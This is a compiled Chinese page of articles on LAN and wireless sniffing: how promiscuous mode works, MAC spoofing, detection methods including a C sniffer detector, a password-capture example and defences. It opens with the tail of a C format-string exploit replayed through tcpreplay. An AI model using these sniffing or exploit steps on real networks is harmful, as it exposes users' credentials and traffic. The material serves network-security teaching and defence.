if(!fh){perror(“no open”);exit(1);}

fwrite(sploit,sizeof sploit,1,fh);

fclose(fh);

r=system(“tcpreplay -i eth0 formatstringbug.pcap”);

return 0;

}

篇6:保护你的数据 堤防无线局域网嗅探技术

无线局域网(WLAN)因其安装便捷、组网灵活的优点在许多领域获得了越来越广泛的应用,但由于它传送的数据利用无线电波在空中传播,发射的数据可能到达预期之外的接收设备,因而WLAN存在着网络信息容易被窃取的问题。

在网络上窃取数据就叫嗅探,它是利用计算机的网络接口截获网络中数据报文的一种技术。嗅探一般工作在网络的底层,可以在不易被察觉的情况下将网络传输的全部数据记录下来,从而捕获账号和口令、专用的或机密的信息,甚至可以用来危害网络邻居的安全或者用来获取更高级别的访问权限、分析网络结构进行网络渗透等。

WLAN中无线信道的开放性给网络嗅探带来了极大的方便。在WLAN中网络嗅探对信息安全的威胁来自其被动性和非干扰性,运行监听程序的主机在 的过程中只是被动的接收网络中传输的信息,它不会跟其它的主机交换信息,也不修改在网络中传输的信息包,使得网络嗅探具有很强的隐蔽性,往往让网络信息泄密变得不容易被发现。

尽管它没有对网络进行主动攻击和破坏的危害明显,但由它造成的损失也是不可估量的。只有通过分析网络嗅探的原理与本质,才能更有效地防患于未然,增强无线局域网的安全防护能力。

无线局域网嗅探技术原理

要理解网络嗅探的实质,首先要清楚数据在网络中封装、传输的过程。根据TCP/IP协议,数据包是经过层层封装后,再被发送的。假设客户机A、B和FTP服务器C通过接入点(AP)或其他无线连接设备连接,主机A通过使用一个FTP命令向主机C进行远程登录,进行文件下载。

那么首先在主机A上输入登录主机C的FTP口令,FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序一层一层包裹,最后送到了物理层,再通过无线的方式播发出去。

主机C接收到数据帧,并在比较之后发现是发给自己的,接下来它就对此数据帧进行分析处理。这时主机B也同样接收到主机A播发的数据帧,随后就检查在数据帧中的地址是否和自己的地址相匹配,发现不匹配就把数据帧丢弃。这就是基于TCP/IP协议通信的一般过程。

无线局域网嗅探技术就是从通信中捕获和解析信息。假设主机B想知道登陆服务器C的FTP口令是什么,那么它要做的就是捕获主机A播发的数据帧,对数据帧进行解析,依次剥离出以太帧头、IP包头、TCP包头等,然后对报头部分和数据部分进行相应的分析处理,从而得到包含在数据帧中的有用信息。

在实现嗅探时,首先设置用于无线局域网嗅探技术的计算机,即在嗅探机上装好无线网卡,并把网卡设置为混杂模式,

在混杂模式下,网卡能够接收一切通过它的数据包,进而对数据包解析,实现数据 。其次实现循环抓取数据包,并将抓到的数据包送入下一步的数据解析模块处理。最后进行数据解析,依次提取出以太帧头、IP包头、TCP包头等,然后对各个报头部分和数据部分进行相应的分析处理。

无线局域网嗅探技术相应防范策略

尽管嗅探隐蔽而不易被察觉,但并不是没有防范方法,下面的策略都能够防范无线局域网嗅探技术。

◆加强网络访问控制。一种极端的手段是通过房屋的电磁屏蔽来防止电磁波的泄漏,通过强大的网络访问控制可以减少无线网络配置的风险。同时配置勘测工具也可以测量和增强AP覆盖范围的安全性。虽然确知信号覆盖范围可以为WLAN安全提供一些有利条件,但这并不能成为一种完全的网络安全解决方案。攻击者使用高性能天线仍有可能在无线网络上嗅探到传输的数据。

◆网络设置为封闭系统。为了避免网络被NetStumbler之类的工具发现,应把网络设置为封闭系统。封闭系统是对SSID标为“any”的客户端不进行响应,并且关闭网络身份识别的广播功能的系统。它能够禁止非授权访问,但不能完全防范无线局域网嗅探技术。

◆采用可靠的协议进行加密。如果用户的无线网络是用于传输比较敏感的数据,那么仅用WEP加密方式是远远不够的,需要进一步采用像电子邮件连接的SSL方式。它是一个介于HTTP协议与TCP协议之间的可选层,SSL是在TCP之上建立了一个加密通道,对通过这一层的数据进行加密,从而达到保密的效果。

使用安全Shell而不是Telnet也是必不可少的。SSH是一个在应用程序中提供安全通信的协议。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。

SSH后来发展成为F-SSH,提供了高层次的、军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。目前,还没有人突破过这种加密方法。无线局域网嗅探技术到的信息自然将不再有任何价值。此外,使用安全拷贝而不是用文件传输协议也可以加强数据的安全性。

一次性口令技术。通常的计算机口令是静态的,极易被网上嗅探窃取。采用S/key一次性口令技术或其它一次性口令技术,能使 账号信息失去意义。S/key的原理是远程主机已得到一个口令(这个口令不会在不安全的网络中传输)。

当用户连接时会获得一个“质询”信息,用户将这个信息和口令经过某个算法运算,产生一个正确的“响应”信息(如果通信双方口令正确的话)。这种验证方式无需在网络中传输口令,而且相同的“质询/响应信息”也不会出现两次。

无线局域网嗅探技术实现起来比较简单,特别是借助良好的开发环境,可以通过编程轻松实现预期目的,但防范嗅探却相当困难。目前还没有一个切实可行、一劳永逸的方法。在尽量实现上面提到的安全措施外,还应注重不断提高网管人员的安全意识,做到多注意、勤检查。

篇7:网络嗅探器技术以及数据包

从事网络安全的技术人员和相当一部分准 (指那些使用现成的 软件进行攻击而不是根据需要去自己编写代码的人)都一定不会对网络嗅探器(sniffer)感到陌生,网络嗅探器无论是在网络安全还是在 攻击方面均扮演了很重要的角色,

网络嗅探器技术以及数据包

通过使用网络嗅探器可以

篇8:嗅探原理与反嗅探技术详解WEB安全

一.嗅探器的基础知识

1.1 什么是嗅探器?

嗅探器的英文写法是Sniff,可以理解为一个安装在计算机上的 设备它可以用来 计算机在网络上所产生的众多的信息,简单一点解释:一部电话的 装置, 可以用来 双方通话的内容,而计算机网络嗅探器则可以 计算机程序在网络上发送和接收到的数据。

可是,计算机直接所传送的数据,事实上是大量的二进制数据。因此, 一个网络 程序必须也使用特定的网络协议来分解嗅探到的数据, 嗅探器也就必须能够识别出那个协议对应于这个数据片断,只有这样才能够进行正确的解码。

计算机的嗅探器比起电话 器,有他独特的优势: 很多的计算机网络采用的是“共享媒体“。 也就是说,你不必中断他的通讯,并且配置特别的线路,再安装嗅探器,你几乎可以在任何连接着的网络上直接 到你同一掩码范围内的计算机网络数据。我们称这种 方式为“基于混杂模式的嗅探”(promiscuous mode) 。 尽管如此,这种“共享” 的技术发展的很快,慢慢转向“交换” 技术,这种技术会长期内会继续使用下去, 它可以实现有目的选择的收发数据。

1.2嗅探器是如何工作的

1.2.1如何 网络上的信息

刚才说了,以太网的数据传输是基于“共享”原理的:所有的同一本地网范围内的计算机共同接收到相同的数据包。这意味着计算机直接的通讯都是透明可见的。

正是因为这样的原因,以太网卡都构造了硬件的“过滤器”这个过滤器将忽略掉一切和自己无关的网络信息。事实上是忽略掉了与自身MAC地址不符合的信息。

嗅探程序正是利用了这个特点,它主动的关闭了这个嗅探器,也就是前面提到的设置网卡“混杂模式”。因此,嗅探程序就能够接收到整个以太网内的网络数据了信息了。

1.2.2什么是以太网的MAC地址

MAC:Media Access Control.

由于大量的计算机在以太网内“共享“数据流,所以必须有一个统一的办法用来区分传递给不同计算机的数据流的。这种问题不会发生在拨号用户身上,因为计算机会假定一切数据都由你发动给modem然后通过电话线传送出去。可是,当你发送数据到以太网上的时候,你必须弄清楚,哪台计算机是你发送数据的对象。的确,现在有大量的双向通讯程序出现了,看上去,他们好像只会在两台机器内交换信息,可是你要明白,以太网的信息是共享的,其他用户,其实一样接收到了你发送的数据,只不过是被过滤器给忽略掉了。

MAC地址是由一组6个16进制数组成的,它存在于每一块以太网卡中。后面的章节将告诉你如何查看自己计算机的MAC地址。

如果你对网络结构不太熟悉,建议参考一下OSI 7-Layer Model,这将有助于你理解后面的东西以太网所使用的协议主要是TCP/IP,并且TCP/IP也用于其他的网络模型(比如拨号用户,他们并不是处于一个以太网环境中)。举例一下,很多的小团体计算机用户都为实现文件和打印共享,安装了“NetBEUI” 因为它不是基于TCP/IP协议的, 所以来自于网络的 一样无法得知他们的设备情况。

基于Raw协议,传输和接收都在以太网里起着支配作用。你不能直接发送一个Raw数据给以太网,你必须先做一些事情,让以太网能够理解你的意思。这有点类似于邮寄信件的方法,你不可能直接把一封信投递出去,你必须先装信封,写地址,贴邮票,网络上的传输也是这样的。

下面给出一个简单的图示,有助于你理解数据传送的原理:

_________

/.........

/..Internet.

+-----+  +----+.............+-----+

|UserA|-----|路由|.............|UserB|

+-----+ ^ +----+.............+-----+

|    .........../

|      ---------/

+------+

|嗅探器|

+------+

UserA IP 地址: 10.0.0.23

UserB IP 地址: 192.168.100.54

现在知道UserA要于UserB进行计算机通讯,UserA需要为10.0.0.23到192.168.100.54的通讯建立一个IP包

这个IP包在网络上传输,它必须能够穿透路由器。因此, UserA必须首先提交这个包给路由器。由每个路由器考查目地IP地址然后决定传送路径。

UserA 所知道的只是本地与路由的连接,和UserB的IP地址。UserA并不清楚网络的结构情况和路由走向。

UserA必须告诉路由预备发送的数据包的情况,以太网数据传输结构大概是这样的:

+--+--+--+--+--+--+

| 目标 MAC    |

+--+--+--+--+--+--+

| 源 MAC      |

+--+--+--+--+--+--+

|08 00|

+--+--+-----------+

|          |

.          .

.  IP 包    .

.          .

|          |

+--+--+--+--+-----+

| CRC校验 |

+--+--+--+--+

理解一下这个结构,UserA的计算机建立了一个包假设它由100个字节的长度(我们假设一下,20 个字节是IP信息,20个字节是TCP信息,还有60个字节为传送的数据)。现在把这个包发给以太网,放14个字节在目地MAC地址之前,源MAC地址,还要置一个0x0800的标记,他指示出了TCP/IP栈后的数据结构。同时,也附加了4个字节用于做CRC校验 (CRC校验用来检查传输数据的正确性)。

现在发送数据到网络。

所有在网内的计算机通过适配器都能够发现这个数据片,其中也包括路由适配器,嗅探器和其他一些机器。通常,适配器都具有一块芯片用来做结构比较的,检查结构中的目地MAC地址和自己的MAC地址,如果不相同,则适配器会丢弃这个结构。这个操作会由硬件来完成,所以,对于计算机内的程序来说,整个过程时毫无察觉的。

当路由器的以太网适配器发现这个结构后,它会读取网络信息,并且去掉前14个字节,跟踪4个字节。查找0x8000标记,然后对这个结构进行处理(它将根据网络状况推测出下一个最快路由节点,从而最快传送数据到预定的目标地址)。

设想,只有路由机器能够检查这个结构,并且所有其他的机器都忽略这个 结构,则嗅探器无论如何也无法检测到这个结构的。

1.3.1 MAC地址的格式是什么?

以太网卡的MAC地址是一组48比特的数字,这48比特分为两个部分组成,前面的24比特用于表示以太网卡的寄主,后面的24比特是一组序列号,是由寄主进行支派的。这样可以担保没有任何两块网卡的MAC地址是相同的(当然可以通过特殊的方法实现)。如果出现相同的地址,将发生问题,所有这一点是非常重要的。这24比特被称之为OUI(Organizationally Unique Identifier)。

可是,OUI的真实长度只有22比特,还有两个比特用于其他:一个比特用来校验是否是广播或者多播地址,另一个比特用来分配本地执行地址(一些网络允许管理员针对具体情况再分配MAC地址)。

举个例子,你的MAC地址在网络中表示为 03 00 00 00 00 01 。第一个字节所包含的值二进制表示方法为00000011。 可以看到,最后两个比特都被置为真值。他指定了一个多播模式,向所有的计算机进行广播,使用了“NetBEUI”协议(一般的,在Windows计算机的网络中,文件共享传输等是不使用TCP/IP协议的)。.

1.3.2 我如何得到自己计算机的MAC地址?

Win9x

Win9x自带的这个程序将告诉你答案:“winipcfg.exe”

WinNT

在命令行的状态下运行这个命令:”ipconfig /all“

它会显示出你的MAC网卡地址,下面是一个例子:

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . : bigball

Primary DNS Suffix . . . . . . . :

Node Type . . . . . . . . . . . . : Hybrid

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Legend/D-Link DFE-530TX PCI Fast Eth

ernet Adapter (Rev B)

Physical Address. . . . . . . . . : 00-50-BA-25-5D-E8

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . : 192.168.10.254

Subnet Mask . . . . . . . . . . . : 255.255.128.0

Default Gateway . . . . . . . . . : 192.168.10.3

Ethernet adapter SC12001:

Description . . . . . . . . : DEC DC21140 PCI Fast Ethernet

Linux

运行“ifconfig”,

结果如下:

eth0    Link encap:Ethernet HWaddr 08:00:17:0A:36:3E

inet addr:192.0.2.161 Bcast:192.0.2.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1137249 errors:0 dropped:0 overruns:0

TX packets:994976 errors:0 dropped:0 overruns:0

Interrupt:5 Base address:0x300

Solaris

用 “arp” 或者 “netstat -p” 命令

1.3.3我如何才能知道有那些计算机和我的MAC地址直接关联?

对于WinNT和Unix机器,可以直接使用“arp -a”查看。

1.3.4我能够改变我的MAC地址吗?

可以。简单的说一下:

第一种方法,你要做地址欺骗,因为MAC地址是数据包结构的一部分, 因此,当你向以太网发送一个数据包的时候,你可以覆盖源始的MAC信息。

第二种方法,很多网卡允许在一定的时间内修改内部的MAC地址。

第的三种方法, 你可以通过重新烧录EEPROM来实现MAC地址的修改。但是这种方法要求你必须有特定的硬件设备和适用的芯片才能修改,而且这种方法将永远的修改你的MAC地址。

二.反嗅探技术

2.1我如何才能检测网内是否存在有嗅探程序?

理论上,嗅探程序是不可能被检测出来的,因为嗅探程序是一种被动的接收程序,属于被动触发的,它只会收集数据包,而不发送出任何数据,尽管如此,嗅探程序有时候还是能够被检测出来的。

一个嗅探程序,不会发送任何数据,但是当它安装在一台正常的局域网内的计算机上的时候会产生一些数据流。举个例子,它能发出一个请求,始DNS根据IP地址进行反相序列查找。

下面一种简单的检测方法:

ping 方法

很多的嗅探器程序,如果你发送一个请求给哪台有嗅探程序的机器,它将作出应答

说明:

1.  怀疑IP地址为10.0.0.1的机器装有嗅探程序,它的MAC地址确定为00-40-05-A4-79-32.

2.  确保机器是在这个局域网中间。

3.  现在修改MAC地址为00-40-05-A4-79-33.

4.  现在用ping命令ping这个IP地址。

5.  没有任何人能够看到发送的数据包,因为每台计算机的MAC地址无法与这个数据包中的目地MAC不符,所以,这个包应该会被丢弃。

6.  如果你看到了应答,说明这个MAC包没有被丢弃,也就是说,很有可能有嗅探器存在。

现在,这种方法已经得到了广泛的推崇和宣扬,新一代的 们也学会了在他们的代码中加入虚拟的MAC地址过滤器很多的计算机操作系统(比如Windows)都支持MAC过滤器(很多过虑器只检查MAC的第一个字节,这样一来,MAC地址FF-00-00-00-00-00和FF-FF-FF-FF-FF-FF就没有区别了。(广播地址消息会被所有的计算机所接收)。这种技术通常会用在交换模型的以太网中。当交换机发现一个未知的MAC地址的时候,它会执行类似“flood”的操作,把这个包发送给每个节点。

2.2本机嗅探程序的检测

本机嗅探的程序检测方法比较简单,只要检查一下网卡是否处于混杂模式就可以了,在Linux下,这个比较容易实现,而在Windows平台上,并没有现成的函数可供我们实现这个功能,我们来用一点小技巧:

#include

#define MAX_PACK_LEN 65535

#define MAX_HOSTNAME_LAN 255

#pragma comment (lib , ”ws2_32.lib“)

int main

{

SOCKET SockRaw,Sock;

WSADATA wsaData;

int ret=0;

struct sockaddr_in sAddr,addr;

char RecvBuf[MAX_PACK_LEN];

char FAR name[MAX_HOSTNAME_LAN];

struct hostent FAR * pHostent;

char *Buf=(char *)malloc(128);

int settimeout=1000;//这里我们设置了一秒钟超时

printf(”UNSniffer for Win2k v1.0nPower by BigBallnHomePage:http://www.patching.net/liumynEmail:liumy@patching.netnOicq:9388920nnChecking your system ,wait a moment please...n“);

WSAStartup(MAKEWORD(2,2),&wsaData);

//建立一条RawSocket

SockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);

再建立一条UDP

Sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);

memset(&sAddr,0,sizeof(sAddr));

memset(&addr,0,sizeof(addr));

sAddr.sin_family=AF_INET;

sAddr.sin_port=htons(5257);

addr.sin_family=AF_INET;

addr.sin_port=htons(5258);

//把IP地址指向本机

addr.sin_addr.S_un.S_addr=inet_addr(”127.0.0.1“);

memset(RecvBuf,0, sizeof(RecvBuf));

pHostent=malloc(sizeof(struct hostent));

gethostname(name, MAX_HOSTNAME_LAN);

pHostent=gethostbyname(name);

//取得自己的IP地址

memcpy(&sAddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);

free(pHostent);

//绑定一个本机的接收端口

bind(SockRaw, (struct sockaddr *)&sAddr, sizeof(sAddr));

//虚连接到本机的一个未打开的端口

connect(Sock,(struct sockaddr *)&addr,sizeof(addr));

Buf=”$%“>1234567890!@#$%^&*”;

//设置超时

setsockopt(SockRaw,SOL_SOCKET,SO_RCVTIMEO,(char *)&settimeout,sizeof(int));

//向虚连接端口发送一个数据包

send(Sock,Buf,strlen(Buf),0);

//使用SockRaw尝试接收这个数据包

ret=recv(SockRaw,RecvBuf,sizeof(RecvBuf),0);

if(ret==SOCKET_ERROR || ret==0)

printf(“No found any sniffer in your system!n”);

else

{

//进行ChkSum

if(Buf==“$%”>1234567890!@#$%^&*“)

printf(”Warning!!! Found sniffer!!!n“);

}

closesocket(Sock);

closesocket(SockRaw);

free(pHostent);

free(Buf);

WSACleanup();

return 0;

}

篇9:局域网监听基本原理/简单实现及检测与防范

一、引言随着计算机技术的发展,网络已日益成为生活中不可或缺的工具,但伴之而来的非法入侵也一直威胁着计算机网络系统的安全,由于局域网中采用广播方式,因此,在某个广播域中可以监听到所有的信息包。而 通过对信息包进行分析,就能获取局域网上传输的一些重要信息。事实上,很多 入侵时都把局域网扫描和侦听作为其最基本的步骤和手段,原因是想用这种方法获取其想要的密码等信息。但另一方面,我们对 入侵活动和其它网络犯罪进行侦查、取证时,也可以使用网络监听技术来获取必要的信息。因此,了解以太网监听技术的原理、实现方法和防范措施就显得尤为重要。二、局域网监听的基本原理根据IEEE的描述,局域网技术是把分散在一个建筑物或相邻几个建筑物中的计算机、终端、大容量存储器的外围设备、控制器、显示器、以及为连接其它网络而使用的网络连接器等相互连接起来,以很高的速度进行通讯的手段。局域网具有设备共享、信息共享、可进行高速数据通讯和多媒体信息通信、分布式处理、具有较高的兼容性和安全性等基本功能和特点。目前局域网主要用于办公室自动化和校园教学及管理,一般可根据具体情况采用总线形、环形、树形及星形的拓扑结构。     1. 网络监听     网络监听技术本来是提供给网络安全管理人员进行管理的工具,可以用来监视网络的状态、数据流动情况以及网络上传输的信息等。当信息以明文的形式在网络上传输时,使用监听技术进行攻击并不是一件难事,只要将网络接口设置成监听模式,便可以源源不断地将网上传输的信息截获。网络监听可以在网上的任何一个位置实施,如局域网中的一台主机、网关上或远程网的调制解调器之间等,

2. 在局域网实现监听的基本原理     对于目前很流行的以太网协议,其工作方式是:将要发送的数据包发往连接在一起的所有主机,包中包含着应该接收数据包主机的正确地址,只有与数据包中目标地址一致的那台主机才能接收。但是,当主机工作监听模式下,无论数据包中的目标地址是什么,主机都将接收(当然只能监听经过自己网络接口的那些包)。在因特网上有很多使用以太网协议的局域网,许多主机通过电缆、集线器连在一起。当同一网络中的两台主机通信的时候,源主机将写有目的的主机地址的数据包直接发向目的主机。但这种数据包不能在IP层直接发送,必须从TCP/IP协议的IP层交给网络接口,也就是数据链路层,而网络接口是不会识别IP地址的,因此在网络接口数据包又增加了一部分以太帧头的信息。在帧头中有两个域,分别为只有网络接口才能识别的源主机和目的主机的物理地址,这是一个与IP地址相对应的48位的地址。传输数据时,包含物理地址的帧从网络接口(网卡)发送到物理的线路上,如果局域网是由一条粗缆或细缆连接而成,则数字信号在电缆上传输,能够到达线路上的每一台主机。当使用集线器时,由集线器再发向连接在集线器上的每一条线路,数字信号也能到达连接在集线器上的每一台主机。当数字信号到达一台主机的网络接口时,正常情况下,网络接口读入数据帧,进行检查,如果数据帧中携带的物理地址是自己的或者是广播地址,则将数据帧交给上层协议软件,也就是IP层软件,否则就将这个帧丢弃。对于每一个到达网络接口的数据帧,都要进行这个过程。然而,当主机工作在监听模式下,所有的数据帧都将被交给上层协议软件处理。而且,当连接在同一条电缆或集线器上的主机被逻辑地分为几个子网时,如果一台主机处于监听模式下,它还能接收到发向与自己不在同一子网(使用了不同的掩码、IP地址和网关)的主机的数据包。也就是说,在同一条物理信道上传输的所有信息都可以被接收到。另外,现在网络中使用的大部分协议都是很早设计的,许多协议的实现都是基于一种非常友好的、通信的双方充分信任的基础之上,许多信息以明文发送。因此,如果用户的账户名和口令等信息也以明文的方式在网上传输,而此时一个 或网络攻击者正在进行网络监听,只要具有初步的网络和TCP/IP协议知识,便能轻易地从监听到的信息中提取出感兴趣的部分。同理,正确的使用网络监听技术也可以发现入侵并对入侵者进行追踪定位,在对网络犯罪进行侦查取证时获取有关犯罪行为的重要信息,成为打击网络犯罪的有力手段。

篇10:局域网监听的原理、实现与防范

来源:黑基论坛

一、引言

随着计算机技术的发展,网络已日益成为生活中不可或缺的工具,但伴之而来的非法入侵也一直威胁着计算机网络系统的安全,由于局域网中采用广播方式,因此,在某个广播域中可以监听到所有的信息包。而 通过对信息包进行分析,就能获取局域网上传输的一些重要信息。事实上,很多 入侵时都把局域网扫描和侦听作为其最基本的步骤和手段,原因是想用这种方法获取其想要的密码等信息。但另一方面,我们对 入侵活动和其它网络犯罪进行侦查、取证时,也可以使用网络监听技术来获取必要的信息。因此,了解以太网监听技术的原理、实现方法和防范措施就显得尤为重要。

二、局域网监听的基本原理

根据IEEE的描述,局域网技术是”把分散在一个建筑物或相邻几个建筑物中的计算机、终端、大容量存储器的外围设备、控制器、显示器、以及为连接其它网络而使用的网络连接器等相互连接起来,以很高的速度进行通讯的手段"。

局域网具有设备共享、信息共享、可进行高速数据通讯和多媒体信息通信、分布式处理、具有较高的兼容性和安全性等基本功能和特点。目前局域网主要用于办公室自动化和校园教学及管理,一般可根据具体情况采用总线形、环形、树形及星形的拓扑结构。

1. 网络监听

网络监听技术本来是提供给网络安全管理人员进行管理的工具,可以用来监视网络的状态、数据流动情况以及网络上传输的信息等。当信息以明文的形式在网络上传输时,使用监听技术进行攻击并不是一件难事,只要将网络接口设置成监听模式,便可以源源不断地将网上传输的信息截获。网络监听可以在网上的任何一个位置实施,如局域网中的一台主机、网关上或远程网的调制解调器之间等。

2. 在局域网实现监听的基本原理

对于目前很流行的以太网协议,其工作方式是:将要发送的数据包发往连接在一起的所有主机,包中包含着应该接收数据包主机的正确地址,只有与数据包中目标地址一致的那台主机才能接收。但是,当主机工作监听模式下,无论数据包中的目标地址是什么,主机都将接收(当然只能监听经过自己网络接口的那些包)。

在因特网上有很多使用以太网协议的局域网,许多主机通过电缆、集线器连在一起。当同一网络中的两台主机通信的时候,源主机将写有目的的主机地址的数据包直接发向目的主机。但这种数据包不能在IP层直接发送,必须从TCP/IP协议的IP层交给网络接口,也就是数据链路层,而网络接口是不会识别IP地址的,因此在网络接口数据包又增加了一部分以太帧头的信息。在帧头中有两个域,分别为只有网络接口才能识别的源主机和目的主机的物理地址,这是一个与IP地址相对应的48位的地址。

传输数据时,包含物理地址的帧从网络接口(网卡)发送到物理的线路上,如果局域网是由一条粗缆或细缆连接而成,则数字信号在电缆上传输,能够到达线路上的每一台主机。当使用集线器时,由集线器再发向连接在集线器上的每一条线路,数字信号也能到达连接在集线器上的每一台主机。当数字信号到达一台主机的网络接口时,正常情况下,网络接口读入数据帧,进行检查,如果数据帧中携带的物理地址是自己的或者是广播地址,则将数据帧交给上层协议软件,也就是IP层软件,否则就将这个帧丢弃。对于每一个到达网络接口的数据帧,都要进行这个过程。

然而,当主机工作在监听模式下,所有的数据帧都将被交给上层协议软件处理。而且,当连接在同一条电缆或集线器上的主机被逻辑地分为几个子网时,如果一台主机处于监听模式下,它还能接收到发向与自己不在同一子网(使用了不同的掩码、IP地址和网关)的主机的数据包。也就是说,在同一条物理信道上传输的所有信息都可以被接收到。另外,现在网络中使用的大部分协议都是很早设计的,许多协议的实现都是基于一种非常友好的、通信的双方充分信任的基础之上,许多信息以明文发送。因此,如果用户的账户名和口令等信息也以明文的方式在网上传输,而此时一个 或网络攻击者正在进行网络监听,只要具有初步的网络和TCP/IP协议知识,便能轻易地从监听到的信息中提取出感兴趣的部分。同理,正确的使用网络监听技术也可以发现入侵并对入侵者进行追踪定位,在对网络犯罪进行侦查取证时获取有关犯罪行为的重要信息,成为打击网络犯罪的有力手段。

三、局域网监听的简单实现

要使主机工作在监听模式下,需要向网络接口发出I/O控制命令,将其设置为监听模式。在Unix系统中,发送这些命令需要超级用户的权限。在Windows系列操作系统中,则没有这个限制。要实现网络监听,可以自己用相关的计算机语言和函数编写出功能强大的网络监听程序,也可以使用一些现成的监听软件,在很多 网站或从事网络安全管理的网站都有,

1. 一个使用sniffer pro进行监听并解析IPv4协议头部的例子

(1)IP头部概述

对于上图中各个字段的含义以及IPv4和IPv6报头的区别,RFC文档和一些计算机网络基础的书籍中都有详细的说明,在此不再赘述。

(2)实例解析

是用sniffer pro进行监听时捕获的IPv4协议报头。

第一部分显示的是关于IP的版本信息,它的当前版本号为4;然后是头部的长度,其单位是32-bit的字,本例中值为20bytes。

第二部分是有关服务类型的信息。

第三部分为头部长度字段,本例中IP报头长为56字节。

第四部分是关于分段的内容。

第五部分是生存时间字段,一般为64或128,本例为128seconds/hops。

第六部分是协议部分,说明了上层使用的服务类型,本例中为UDP。

第七部分以下各字段分别为校验和、源地址、目的地址等。

2. 一个使用sniffer pro进行监听获取邮箱密码的例子

通过对用监听工具捕获的数据帧进行分析,可以很容易的发现敏感信息和重要信息。例如,对一些明码传输的邮箱用户名和口令可以直接显示出来。

gao-jian2001为邮箱用户名,12345为邮箱密码,都以明码显示,由此也可以看到局域网监听技术如果用于不正当的目的会有多大的危害。

在以上各部分中还有更详细的信息,在此不作更多的分析。通过这个例子想说明的是通过网络监听可以获得网络上实时传输的数据中的一些非常重要的信息,而这些信息对于网络入侵或入侵检测与追踪都会是很关键的.

四、如何检测并防范网络监听

网络监听是很难被发现的,因为运行网络监听的主机只是被动地接收在局域局上传输的信息,不主动的与其他主机交换信息,也没有修改在网上传输的数据包。

1. 对可能存在的网络监听的检测

(1)对于怀疑运行监听程序的机器,用正确的IP地址和错误的物理地址ping,运行监听程序的机器会有响应。这是因为正常的机器不接收错误的物理地址,处理监听状态的机器能接收,但如果他的IP stack不再次反向检查的话,就会响应。

(2)向网上发大量不存在的物理地址的包,由于监听程序要分析和处理大量的数据包会占用很多的CPU资源,这将导致性能下降。通过比较前后该机器性能加以判断。这种方法难度比较大。

(3)使用反监听工具如antisniffer等进行检测

2. 对网络监听的防范措施

(1)从逻辑或物理上对网络分段

网络分段通常被认为是控制网络广播风暴的一种基本手段,但其实也是保证网络安全的一项措施。其目的是将非法用户与敏感的网络资源相互隔离,从而防止可能的非法监听。

(2)以交换式集线器代替共享式集线器

对局域网的中心交换机进行网络分段后,局域网监听的危险仍然存在。这是因为网络最终用户的接入往往是通过分支集线器而不是中心交换机,而使用最广泛的分支集线器通常是共享式集线器。这样,当用户与主机进行数据通信时,两台机器之间的数据包(称为单播包Unicast Packet)还是会被同一台集线器上的其他用户所监听。

因此,应该以交换式集线器代替共享式集线器,使单播包仅在两个节点之间传送,从而防止非法监听。当然,交换式集线器只能控制单播包而无法控制广播包(Broadcast Packet)和多播包(Multicast Packet)。但广播包和多播包内的关键信息,要远远少于单播包。

(3)使用加密技术

数据经过加密后,通过监听仍然可以得到传送的信息,但显示的是乱码。使用加密技术的缺点是影响数据传输速度以及使用一个弱加密术比较容易被攻破。系统管理员和用户需要在网络速度和安全性上进行折中。

(4)划分VLAN

运用VLAN(虚拟局域网)技术,将以太网通信变为点到点通信,可以防止大部分基于网络监听的入侵。

五、结束语

网络监听技术作为一种工具,总是扮演着正反两方面的角色。对于入侵者来说,最喜欢的莫过于用户的口令,通过网络监听可以很容易地获得这些关键信息。而对于入侵检测和追踪者来说,网络监听技术又能够在与入侵者的斗争中发挥重要的作用。鉴于目前的网络安全现状,我们应该进一步挖掘网络监听技术的细节,从技术基础上掌握先机,才能在与入侵者的斗争中取得胜利。

教你如何发现和防止Sniffer嗅探器

无线局域网的技术要求

局域网常见问题

校园无线局域网的接入与运营

局域网中实现linux与Windows文件共享

信息科学与技术求职信

多媒体技术在高中数学教学中的重要性浅探

局域网服务器的安全管理与维护探析论文

污泥处理技术与发展趋势

劳动与技术立交桥教案

局域网嗅探与监听技术(共10篇)

欢迎下载DOC格式的局域网嗅探与监听技术,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档